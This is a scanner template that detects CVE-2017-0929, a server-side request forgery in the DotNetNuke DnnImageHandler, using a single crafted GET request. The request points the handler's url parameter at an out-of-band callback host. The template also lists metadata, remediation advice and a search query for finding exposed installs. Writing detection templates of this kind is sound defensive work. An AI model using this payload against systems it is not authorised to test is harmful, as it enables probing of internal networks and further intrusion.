id: CVE-2017-0929

info:
  name: DotNetNuke (DNN) ImageHandler <9.2.0 - Server-Side Request Forgery
  author: charanrayudu,meme-lord
  severity: high
  description: DotNetNuke (aka DNN) before 9.2.0 suffers from a server-side request forgery vulnerability in the DnnImageHandler class. Attackers may be able to access information about internal network resources.
  impact: |
    An attacker can exploit this vulnerability to bypass security controls, access internal resources, and potentially perform further attacks.
  remediation: |
    Upgrade DotNetNuke (DNN) ImageHandler to version 9.2.0 or above.
  reference:
    - https://hackerone.com/reports/482634
    - https://nvd.nist.gov/vuln/detail/CVE-2017-0929
    - https://github.com/dnnsoftware/Dnn.Platform/commit/d3953db85fee77bb5e6383747692c507ef8b94c3
    - https://github.com/ARPSyndicate/kenzer-templates
    - https://github.com/Elsfa7-110/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2017-0929
    cwe-id: CWE-918
    epss-score: 0.92183
    epss-percentile: 0.99724
    cpe: cpe:2.3:a:dnnsoftware:dotnetnuke:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: dnnsoftware
    product: dotnetnuke
    fofa-query: app="dotnetnuke"
  tags: cve2017,cve,dnn,dotnetnuke,hackerone,oast,ssrf,dnnsoftware,vkev,vuln

http:
  - method: GET
    path:
      - '{{BaseURL}}/DnnImageHandler.ashx?mode=file&url=http://{{interactsh-url}}'

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "http"

      - type: status
        status:
          - 500
# digest: 490a0046304402201bc45c8b2be4fdfbf6074f15e4ff1e7e44e179c634f9218d813316ff478b7fb202203e2423c4c89789feeb0065881b2ff01d37179cc97cc46177d14569571dcefdaa:922c64590222798bb761d5b6d8e72950